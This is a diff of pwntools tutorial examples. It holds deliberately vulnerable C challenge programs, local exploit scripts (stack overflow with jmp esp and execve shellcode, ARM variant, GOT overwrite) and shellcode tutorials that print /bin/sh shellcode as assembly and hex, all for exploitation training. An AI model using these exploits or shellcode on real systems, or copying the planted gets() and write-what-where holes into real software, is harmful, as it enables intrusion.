- `gdb.attach` for debugging processes
|
||||
- `ELF` for searching for assembly instructions
|
||||
- `cyclic` and `cyclic_find` for calculating offsets
|
||||
- `pack` for packing integers into byte strings
|
||||
- `asm` for assembling shellcode
|
||||
- `shellcraft` for providing a shellcode library
|
||||
- `tube.interactive` for enjoying your shell
|
||||
|
||||
Feel free to modify the example, and try some other shellcode snippet!
|
||||
|
||||
You can easily list the available shellcode from the command-line:
|
||||
|
||||
```
|
||||
$ shellcraft | grep i386
|
||||
...
|
||||
i386.linux.execve
|
||||
...
|
||||
```
|
Binary file not shown.
|
@ -0,0 +1,12 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int oh_look_useful() {
|
||||
asm("jmp %esp");
|
||||
}
|
||||
|
||||
int main() {
|
||||
char buffer[32];
|
||||
gets(buffer);
|
||||
}
|
||||
|
|
@ -0,0 +1,48 @@
|
|||
# Import everything in the pwntools namespace
|
||||
from pwn import *
|
||||
|
||||
# Create an instance of the process to talk to
|
||||
io = gdb.debug('./challenge')
|
||||
|
||||
# Attach a debugger to the process so that we can step through
|
||||
pause()
|
||||
|
||||
# Load a copy of the binary so that we can find a JMP ESP
|
||||
binary = ELF('./challenge')
|
||||
|
||||
# Assemble the byte sequence for 'jmp esp' so we can search for it
|
||||
jmp_esp = asm('jmp esp')
|
||||
jmp_esp = binary.search(jmp_esp).next()
|
||||
|
||||
log.info("Found jmp esp at %#x" % jmp_esp)
|
||||
|
||||
# Overflow the buffer with a cyclic pattern to make it easy to find offsets
|
||||
#
|
||||
# If we let the program crash with just the pattern as input, the register
|
||||
# state will look something like this:
|
||||
#
|
||||
# EBP 0x6161616b ('kaaa')
|
||||
# *ESP 0xff84be30 <-- 'maaanaaaoaaapaaaqaaar...'
|
||||
# *EIP 0x6161616c ('laaa')
|
||||
crash = False
|
||||
|
||||
if crash:
|
||||
pattern = cyclic(512)
|
||||
io.sendline(pattern)
|
||||
pause()
|
||||
sys.exit()
|
||||
|
||||
# Fill out the buffer until where we control EIP
|
||||
exploit = cyclic(cyclic_find(0x6161616c))
|
||||
|
||||
# Fill the spot we control EIP with a 'jmp esp'
|
||||
exploit += pack(jmp_esp)
|
||||
|
||||
# Add our shellcode
|
||||
exploit += asm(shellcraft.sh())
|
||||
|
||||
# gets() waits for a newline
|
||||
io.sendline(exploit)
|
||||
|
||||
# Enjoy our shell
|
||||
io.interactive()
|
|
@ -0,0 +1,3 @@
|
|||
|
||||
challenge: challenge.c
|
||||
gcc -g -m32 -fstack-protector-all -pie -fPIC $^ -o $@
|
|
@ -0,0 +1,7 @@
|
|||
# ELF Symbol Lookups and GOT Overwrites
|
||||
|
||||
This is a position-independent binary which gives you a module address, and a trivial write-what-where.
|
||||
|
||||
The exploit demonstrates how to perform symbol lookups in the GOT, PLT, and other exported symbols. It also shows how to rebase the module when its actual base address is different from the ELF's base address (e.g. PIE).
|
||||
|
||||
Also as an added tip, it demonstrates the `context.binary` field, which not only automatically loads an ELF, but also automagically sets the `context.arch`, `context.bits`, and `context.endianness` variables to the appropriate ones.
|
Binary file not shown.
|
@ -0,0 +1,24 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int oh_look_useful() {
|
||||
system("/bin/sh");
|
||||
}
|
||||
|
||||
int main() {
|
||||
void *infoleak = &main;
|
||||
|
||||
write(1, &infoleak, sizeof(infoleak));
|
||||
|
||||
while(1) {
|
||||
void **where;
|
||||
void *what;
|
||||
|
||||
read(0, &where, sizeof(where));
|
||||
read(0, &what, sizeof(what));
|
||||
|
||||
printf("*%p == %p\n", where, what);
|
||||
*where = what;
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,40 @@
|
|||
# Import everything in the pwntools namespace
|
||||
from pwn import *
|
||||
|
||||
# The target binary is 64-bit.
|
||||
# While we can explicitly specify the architecture and other things
|
||||
# in the context settings, we can also absorb them from the file.
|
||||
context.binary = './challenge'
|
||||
|
||||
# Create an instance of the process to talk to
|
||||
io = process(context.binary.path)
|
||||
|
||||
# Receive the address of main
|
||||
main = io.unpack()
|
||||
|
||||
# Load up a copy of the ELF so we can look up its GOT and symbol table
|
||||
elf = context.binary
|
||||
|
||||
# Fix up its base address. This automatically updates all of the symbols.
|
||||
elf.address = main - elf.symbols['main']
|
||||
|
||||
# We want to overwrite the pointer for "read"
|
||||
where = elf.got['read']
|
||||
|
||||
# We want to overwrite it with the address of the function that gives us a shell
|
||||
what = elf.symbols['oh_look_useful']
|
||||
|
||||
# If we really wanted to, we could even find the address of "/bin/sh" in memory
|
||||
binsh = elf.search("/bin/sh\x00").next()
|
||||
|
||||
log.info("Main: %x" % main)
|
||||
log.info("Address: %x" % elf.address)
|
||||
log.info("Where: %x" % where)
|
||||
log.info("What: %x" % what)
|
||||
|
||||
# Send the payload
|
||||
io.pack(where)
|
||||
io.pack(what)
|
||||
|
||||
# Enjoy the shell
|
||||
io.interactive()
|
|
@ -0,0 +1,3 @@
|
|||
|
||||
challenge: challenge.c
|
||||
arm-linux-gnueabihf-gcc -marm -g -fno-stack-protector -z execstack $^ -o $@
|
|
@ -0,0 +1,20 @@
|
|||
# Foreign Architecture
|
||||
|
||||
This example is the exact same as the Basic Buffer Overflow example, but demonstrates how to interact with foreign-architecture binaries.
|
||||
|
||||
In order for all of this to work, you'll need some cross-architecture libraries installed. FOr this example, we'll use ARM as it's easy to get the dependencies on Ubuntu.
|
||||
|
||||
Detailed instructions for setting up a foreign-architecture toolchain are available in my [StackExchange post][post]. While the topic is MIPS, the exact same steps apply.
|
||||
|
||||
If you just want the commands and no prose, here you go:
|
||||
|
||||
```sh
|
||||
sudo apt-get install qemu qemu-user qemu-user-static
|
||||
sudo apt-get install gdb-multiarch
|
||||
sudo apt-get install libc6-armhf-armel-cross
|
||||
sudo apt-get install gcc-arm-linux-gnueabihf
|
||||
sudo mkdir /etc/qemu-binfmt
|
||||
sudo ln -s /usr/arm-linux-gnueabihf /etc/qemu-binfmt/arm
|
||||
```
|
||||
|
||||
[post]: http://reverseengineering.stackexchange.com/a/8917/12503
|
Binary file not shown.
|
@ -0,0 +1,12 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int oh_look_useful() {
|
||||
asm("bx sp");
|
||||
}
|
||||
|
||||
int main() {
|
||||
char buffer[32];
|
||||
gets(buffer);
|
||||
}
|
||||
|
|
@ -0,0 +1,67 @@
|
|||
# Import everything in the pwntools namespace
|
||||
from pwn import *
|
||||
|
||||
# We need to tell pwntools that we're using ARM
|
||||
#
|
||||
# We forced the GCC compiler to emit ARM instructions instead of
|
||||
# thumb, but if we did not, you would otherwise want to set it to
|
||||
# 'thumb'.
|
||||
context.arch = 'arm'
|
||||
|
||||
|
||||
# You could also specify any number of things about the exploit
|
||||
# In this case it's not necessary, as these are assumed.
|
||||
context.bits = 32
|
||||
context.endian = 'little'
|
||||
|
||||
# You can also specify everything in one line
|
||||
context(bits=32, endian='little')
|
||||
|
||||
# Create an instance of the process to talk to
|
||||
#
|
||||
# Because this is a foreign-architecture binary, we cannot attach to it
|
||||
# after it has been started. We must launch it under QEMU with a GDB
|
||||
# stub. Luckily, this is very easy.
|
||||
io = gdb.debug('./challenge')
|
||||
|
||||
# Load a copy of the binary so that we can find a JMP ESP
|
||||
binary = ELF('./challenge')
|
||||
|
||||
# Assemble the byte sequence for 'bx sp' so we can search for it
|
||||
# However, the assembler from GCC is using thumb.
|
||||
jmp_esp = asm('bx sp')
|
||||
jmp_esp = binary.search(jmp_esp).next()
|
||||
|
||||
log.info("Found jmp esp at %#x" % jmp_esp)
|
||||
|
||||
# Overflow the buffer with a cyclic pattern to make it easy to find offsets
|
||||
#
|
||||
# If we let the program crash with just the pattern as input, the register
|
||||
# state will look something like this:
|
||||
#
|
||||
# *R11 0x61616169 ('iaaa')
|
||||
# *R12 0xf6ffe294 <-- 0
|
||||
# *SP 0xf6ffe270 <-- 'kaaa'
|
||||
# *PC 0x6161616a ('jaaa')
|
||||
crash = False
|
||||
|
||||
if crash:
|
||||
pattern = cyclic(512)
|
||||
io.sendline(pattern)
|
||||
pause()
|
||||
sys.exit()
|
||||
|
||||
# Fill out the buffer until where we control EIP
|
||||
exploit = cyclic(cyclic_find(0x6161616a))
|
||||
|
||||
# Fill the spot we control EIP with a 'jmp eip'
|
||||
exploit += pack(jmp_esp)
|
||||
|
||||
# Add our shellcode
|
||||
exploit += asm(shellcraft.sh())
|
||||
|
||||
# gets() waits for a newline
|
||||
io.sendline(exploit)
|
||||
|
||||
# Enjoy our shell
|
||||
io.interactive()
|
|
@ -0,0 +1,39 @@
|
|||
from pwn import *
|
||||
|
||||
# Vortex Level 0 -> Level 1
|
||||
#
|
||||
# Level Goal
|
||||
#
|
||||
# Your goal is to connect to port 5842 on vortex.labs.overthewire.org and read
|
||||
# in 4 unsigned integers in host byte order. Add these integers together and
|
||||
# send back the results to get a username and password for vortex1.
|
||||
#
|
||||
# This information can be used to log in using SSH.
|
||||
#
|
||||
# Note: vortex is on an 32bit x86 machine (meaning, a little endian architecture)
|
||||
|
||||
io = remote('vortex.labs.overthewire.org', 5842)
|
||||
|
||||
# You can receive data manually. We want exactly four bytes.
|
||||
data = io.recvn(4)
|
||||
|
||||
# Now let's unpack them as a 32-bit little-endian integer
|
||||
value = unpack(data, bits=32, endian='little')
|
||||
|
||||
# By default, pwntools sets everything to i386, which is 32-bit little endian.
|
||||
# Because of this, there is no need to specify the extra arguments.
|
||||
#
|
||||
# The above line could instead just read:
|
||||
value = unpack(data)
|
||||
|
||||
# There's also a helper available directly on the tube itself
|
||||
# Let's read the other integers
|
||||
value += io.unpack()
|
||||
value += io.unpack()
|
||||
value += io.unpack()
|
||||
|
||||
# Now let's send it back
|
||||
io.pack(value)
|
||||
|
||||
# Receive all data until the connection closes
|
||||
log.info(io.recvall())
|
|
@ -0,0 +1,152 @@
|
|||
# Advanced Shellcode
|
||||
|
||||
**Note**: You should check out the [basic](../shellcode-basic/README.md) and [intermediate](../shellcode-intermediate/README.md) tutorial first!
|
||||
|
||||
In order to build new modules and make them available via `shellcraft`, only a few steps are necessary.
|
||||
|
||||
First, all of the `shellcraft` templates are really just [Mako][mako] templates. Generally this is used for server-side scripting in Python web servers, but it fits the application of pasting together arbitrary bits of shellcode very well!
|
||||
|
||||
The templates are all located in the `pwnlib/shellcraft/templates/ARCH/OS` directories. For example `$ shellcraft i386.linux.sh` is actually invoking the template defined in [`pwnlib/shellcraft/templates/i386/linux/sh.asm`][sh]
|
||||
|
||||
## Syntax Highlighting
|
||||
|
||||
This generally helps make the templates more readable. Pwntools has a [syntax highlighting](https://github.com/Gallopsled/pwntools/blob/master/extra/textmate/README.md) plug-in for Sublime Text / TextMate.
|
||||
|
||||
## Anatomy of a Simple Template
|
||||
|
||||
For Pwntools, the general format of a template looks like what's shown below.
|
||||
In particular, there are a few things to note about syntax:
|
||||
|
||||
- `<%` and `%>` contain Python code blocks
|
||||
- `<%tag>` and `</%tag>` contain special tags defined by Pwntools or Mako
|
||||
+ These are used to generate the function wrappers
|
||||
- `${...}` is a Python expression
|
||||
- `${var}` is replaced with the Python variable (as passed through `str()` or `%s`)
|
||||
- `${function(...)}` is the same, the return value is inserted in its place
|
||||
+ Mako templates just emit a string, this makes it very easy to nest them!
|
||||
- Lines starting with `##` are ignored by Mako
|
||||
- Everything else is emitted verbatim.
|
||||
|
||||
After copying the below template to `pwnlib/shellcraft/templates/i386/linux/demo.asm`, it can be invoked from Python or the command-line tool.
|
||||
|
||||
```sh
|
||||
$ shellcraft i386.linux.demo 1 hello 1
|
||||
6a6f6868656c6c6a015f89fb89e16a055a6a0458cd80ebfe
|
||||
$ shellcraft i386.linux.demo 1 hello 1 -f asm | head -n3
|
||||
/* Push the message onto the stack */
|
||||
/* push 'hello\x00' */
|
||||
push 0x6f
|
||||
...
|
||||
```
|
||||
|
||||
### Sample Template
|
||||
|
||||
```
|
||||
<%
|
||||
# The constants module lets the user provide the string 'SYS_execve',
|
||||
# and then we can resolve it to the integer value.
|
||||
#
|
||||
# For example, on i386, constants.eval('SYS_execve') == 11
|
||||
from pwnlib import constants
|
||||
|
||||
# Pushstr provides a simple way to get a string onto the stack
|
||||
# with no NULLs or newlines in the emitted assembly.
|
||||
from pwnlib.shellcraft.i386 import pushstr
|
||||
|
||||
# Mov provides a simple way to mov values into registers, or
|
||||
# between registers, without caring which is occurring.
|
||||
# It also is generally NULL- and newline-free.
|
||||
#
|
||||
# This is not a big deal on i386 since it's all the same instruction,
|
||||
# but on RISC architectures it's really a requirement.
|
||||
from pwnlib.shellcraft.i386 import mov
|
||||
|
||||
# All of the Linux syscalls have a small wrapper template around them.
|
||||
# These are in turn a wrapper around the "syscall" template.
|
||||
# The syscall template is in turn as wrapper around the "mov" template
|
||||
# to move the values into the appropriate registers.
|
||||
#
|
||||
# Using the "write" syscall wrapper is much more convenient than writing
|
||||
# everything out by hand, even if some of the code is duplicated.
|
||||
from pwnlib.shellcraft.i386.linux import write
|
||||
|
||||
# The label template provides a way to ensure that all labels are unique.
|
||||
# This is important if the same shellcode is included multiple times,
|
||||
# which is common for simple loops.
|
||||
from pwnlib.shellcraft.common import label
|
||||
%>
|
||||
|
||||
## The arguments section allows us to specify arguments to the template.
|
||||
## These are turned into Python arguments for the Python function wrapper.
|
||||
<%page args="sock, message, spin=False"/>
|
||||
|
||||
## The docstring is useful and informative for users, but is not required.
|
||||
## This is printed out with "shellcraft ... -?".
|
||||
<%docstring>
|
||||
Sends a message to a file descriptor, and then loops forever!
|
||||
|
||||
Arguments:
|
||||
sock(int,reg): Socket to send the message over
|
||||
message(str): Message to send
|
||||
spin(bool): Infinite loop after sending the message
|
||||
|
||||
</%docstring>
|
||||
|
||||
## Templates can embed Python logic directly.
|
||||
## Any variables or functions created in a block are available
|
||||
## immediately in the template.
|
||||
<%
|
||||
target = label('target')
|
||||
|
||||
# This is not necessary since we're just passing it into
|
||||
# the 'mov' template, which already does this.
|
||||
# Just for demonstration purposes.
|
||||
sock = constants.eval(sock)
|
||||
%>
|
||||
|
||||
## Other templates are inserted as a Python function call.
|
||||
/* Push the message onto the stack */
|
||||
${pushstr(message)}
|
||||
|
||||
/* Set the socket into edi for fun */
|
||||
${mov('edi', sock)}
|
||||
|
||||
/* Invoke the write syscall */
|
||||
${write('edi', 'esp', len(message))}
|
||||
|
||||
## Templates can include conditional logic, to either include
|
||||
## or exclude certain sections.
|
||||
%if spin:
|
||||
/* Loop forever */
|
||||
${target}:
|
||||
jmp ${target}
|
||||
%endif
|
||||
```
|
||||
|
||||
## Tips and Best Practices
|
||||
|
||||
And a few things to note about general "good style" for templates.
|
||||
|
||||
- Use `common.label` instead of a constant label is preferred, since `common.label` ensures the label name is unique, even if the shellcode template is used multiple times.
|
||||
- Use the helper functions `mov`, `pushstr`, `syscall`, and the `syscall` wrappers (like `write` used below) instead of reinventing the wheel
|
||||
+ On some architectures, these emit NULL- and newline-free shellcode
|
||||
+ These themselves are just other shellcode templates with some logic
|
||||
- Any integer fields should be passed through `constants.eval` so that well-known constant values can be used instead.
|
||||
+ `constants.eval("SYS_execve") ==> int`
|
||||
+ `int(constants.SYS_execve) ==> int`
|
||||
+ If you're just passing it to another template, e.g. `mov`, this is already handled for you.
|
||||
|
||||
# FAQ and Common Problems
|
||||
|
||||
## "Reserved words declared in template"
|
||||
|
||||
You can't have any variables named `loop`, among some other things. It's a limitation of Mako.
|
||||
|
||||
## Template Caching
|
||||
|
||||
One problem you may run into is Mako template caching. In order to make Pwntools as speedy as possible, the compiled templates are cached. This is sometimes a burden on development of new shellcode, but in general is useful.
|
||||
|
||||
If you run into weird problems, try clearing the cache in `~/.pwntools-cache/mako` (or `~/.pwntools-cache/mako`).
|
||||
|
||||
[mako]: http://makotemplates.org
|
||||
[sh]: https://github.com/Gallopsled/pwntools/blob/master/pwnlib/shellcraft/templates/i386/linux/sh.asm
|
|
@ -0,0 +1,143 @@
|
|||
# shellcode
|
||||
|
||||
Every once in a while, you'll need to run some shellcode.
|
||||
|
||||
Before jumping into how to do things in Python with pwntools, it's worth exploring the command-line tools as they can really make life easy!
|
||||
|
||||
## `asm`
|
||||
|
||||
This command line tool does what it says on the tin.
|
||||
|
||||
```sh
|
||||
$ asm nop
|
||||
90
|
||||
$ asm 'mov eax, 0xdeadbeef'
|
||||
b8efbeadde
|
||||
```
|
||||
|
||||
There are a few output formats to choose from. By default, the tool writes hex-encoded output to stdout if it's a terminal. If it's a pipe or file, it will instead just write the binary data.
|
||||
|
||||
`phd` is a command that comes with pwntools which is very similar to `xxd`, but includes highlighting of printable ASCII values, NULL bytes, and some other special values.
|
||||
|
||||
```sh
|
||||
$ asm nop -f hex
|
||||
90
|
||||
$ asm nop -f string
|
||||
'\x90'
|
||||
$ asm nop | phd
|
||||
00000000 90 │·│
|
||||
00000001
|
||||
```
|
||||
|
||||
Different architectures and endianness values can be selected as well, as long as you have an appropriate version of `binutils` installed. See the [installation](installation.md) page for more information.
|
||||
|
||||
```sh
|
||||
$ asm -c arm nop
|
||||
00f020e3
|
||||
$ asm -c powerpc nop
|
||||
60000000
|
||||
$ asm -c mips nop
|
||||
00000000
|
||||
```
|
||||
|
||||
Pwntools is also aware of most common constants, and resolves them in a context-sensitive manner.
|
||||
|
||||
```sh
|
||||
$ asm 'push SYS_execve'
|
||||
6a0b
|
||||
$ asm -c amd64 'push SYS_execve'
|
||||
6a3b
|
||||
```
|
||||
|
||||
## `disasm`
|
||||
|
||||
Disasm is the counterpart to `asm`.
|
||||
|
||||
```sh
|
||||
$ asm 'push eax' | disasm
|
||||
0: 50 push eax
|
||||
$ asm -c arm 'bx lr' | disasm -c arm
|
||||
0: e12fff1e bx lr
|
||||
```
|
||||
|
||||
## `shellcraft`
|
||||
|
||||
Shellcraft is the command-line interface to the shellcode library that comes with Pwntools. To get a list of all avialable shellcode, just use the `shellcraft` command by itself.
|
||||
|
||||
```sh
|
||||
$ shellcraft
|
||||
aarch64.linux.accept
|
||||
aarch64.linux.access
|
||||
aarch64.linux.acct
|
||||
...
|
||||
```
|
||||
|
||||
Many of the shellcraft templates are just syscall wrappers, designed to make shellcode easier. A few of them -- in particular `sh`, `dupsh`, and `echo` -- are compact implementations of common shellcode for `execve`, `dup2`ing file descriptors, and writing a string to `stdout`.
|
||||
|
||||
Like the `asm` tool, `shellcraft` has multiple output modes.
|
||||
|
||||
```sh
|
||||
$ shellcraft i386.linux.sh
|
||||
6a68682f2f2f73682f62696e89e331c96a0b5899cd80
|
||||
$ shellcraft i386.linux.sh -fasm
|
||||
/* push '/bin///sh\x00' */
|
||||
push 0x68
|
||||
push 0x732f2f2f
|
||||
push 0x6e69622f
|
||||
|
||||
/* call execve('esp', 0, 0) */
|
||||
mov ebx, esp
|
||||
xor ecx, ecx
|
||||
push 0xb
|
||||
pop eax
|
||||
cdq /* Set edx to 0, eax is known to be positive */
|
||||
int 0x80
|
||||
```
|
||||
|
||||
## Debugging Shellcode
|
||||
|
||||
Invariably, you'll want to debug your shellcode, or just experiment with a small snippet. Pwntools makes this super easy!
|
||||
|
||||
### Emitting ELF files
|
||||
|
||||
The first option is to emit an ELF file which contains the shellcode, and load it in GDB manually.
|
||||
|
||||
```sh
|
||||
$ shellcraft i386.linux.sh -f elf > sh
|
||||
$ asm 'mov eax, 1; int 0x80' -f elf > exit
|
||||
$ chmod +x sh exit
|
||||
$ strace ./exit
|
||||
execve("./exit", ["./exit"], [/* 94 vars */]) = 0
|
||||
_exit(0) = ?
|
||||
$ echo 'echo Hello!' | strace -e execve ./sh
|
||||
execve("./sh", ["./sh"], [/* 94 vars */]) = 0
|
||||
execve("/bin///sh", [0], [/* 0 vars */]) = 0
|
||||
Hello!
|
||||
```
|
||||
|
||||
Some of the commands may take options, and all of them should be documented. `shellcraft` will also resolve any constants it knows about.
|
||||
|
||||
```sh
|
||||
$ shellcraft i386.linux.echo -?
|
||||
Writes a string to a file descriptor
|
||||
|
||||
Arguments:
|
||||
string(str): Message to print
|
||||
sock: File descriptor. Default is ebp.
|
||||
$ shellcraft i386.linux.echo "Hello, world" STDOUT_FILENO
|
||||
686f726c64686f2c20776848656c6c6a015b89e16a0c5a6a0458cd80
|
||||
$ shellcraft i386.linux.mov eax SYS_execve -fasm
|
||||
push 0xb
|
||||
pop eax
|
||||
$ shellcraft i386.linux.mov eax SYS_execve
|
||||
6a0b58
|
||||
```
|
||||
|
||||
### Launching GDB
|
||||
|
||||
Instead of emitting an ELF and launching GDB manually, you can just jump straight into GDB.
|
||||
|
||||
```sh
|
||||
$ shellcraft i386.linux.sh --debug
|
||||
$ asm 'mov eax, 1; int 0x80;' --debug
|
||||
```
|
|
@ -0,0 +1,93 @@
|
|||
# shellcode
|
||||
|
||||
**Note**: You should check out the [basic shellcode tutorial first](../shellcode-basic/README.md)!
|
||||
|
||||
Now that you've seen all of the tools available to you on the command-line, it's easy to learn about their Python counterparts.
|
||||
|
||||
## `asm`
|
||||
|
||||
The `asm` tool works pretty much the same way.
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
nop = asm('nop')
|
||||
arm_nop = asm('nop', arch='arm')
|
||||
```
|
||||
|
||||
Like most other things in Pwntools, it's aware of the settings in `context`.
|
||||
|
||||
```python
|
||||
context.arch = 'powerpc'
|
||||
powerpc_nop = asm('nop')
|
||||
```
|
||||
|
||||
## `disasm`
|
||||
|
||||
The `disasm` tool also works pretty much the same way.
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
print disasm('\x90')
|
||||
# nop
|
||||
|
||||
print disasm('\xff\x00\x40\xe3', arch='arm')
|
||||
# 0: e34000ff movt r0, #255 ; 0xff
|
||||
```
|
||||
|
||||
## `shellcraft`
|
||||
|
||||
The shellcraft module also works pretty much the same way. By default, the `shellcraft` module uses the currently-active OS and architecture from the `context` settings.
|
||||
|
||||
Alternately, you can directly invoke a specific template by its full path.
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
print shellcraft.sh()
|
||||
# /* push '/bin///sh\x00' */
|
||||
# push 0x68
|
||||
# push 0x732f2f2f
|
||||
# push 0x6e69622f
|
||||
#
|
||||
# /* call execve('esp', 0, 0) */
|
||||
# mov ebx, esp
|
||||
# xor ecx, ecx
|
||||
# push 0xb
|
||||
# pop eax
|
||||
# cdq /* Set edx to 0, eax is known to be positive */
|
||||
# int 0x80
|
||||
|
||||
context.arch = 'arm'
|
||||
# print shellcraft.sh()
|
||||
# adr r0, bin_sh
|
||||
# mov r2, #0
|
||||
# push {r0, r2}
|
||||
# mov r1, sp
|
||||
# svc SYS_execve
|
||||
# bin_sh: .asciz "/bin/sh"
|
||||
|
||||
|
||||
# Can also be explicitly invoked directly by path.
|
||||
print shellcraft.i386.linux.sh()
|
||||
```
|
||||
|
||||
Functions which take arguments work exactly like normal functions.
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
print shellcraft.pushstr("Hello!")
|
||||
# /* push 'Hello!\x00' */
|
||||
# push 0x1010101
|
||||
# xor dword ptr [esp], 0x101206e
|
||||
# push 0x6c6c6548
|
||||
|
||||
print shellcraft.pushstr("Goodbye!")
|
||||
# /* push 'Goodbye!\x00' */
|
||||
# push 0x1
|
||||
# dec byte ptr [esp]
|
||||
# push 0x21657962
|
||||
# push 0x646f6f47
|
||||
```
|
Loading…
Reference in New Issue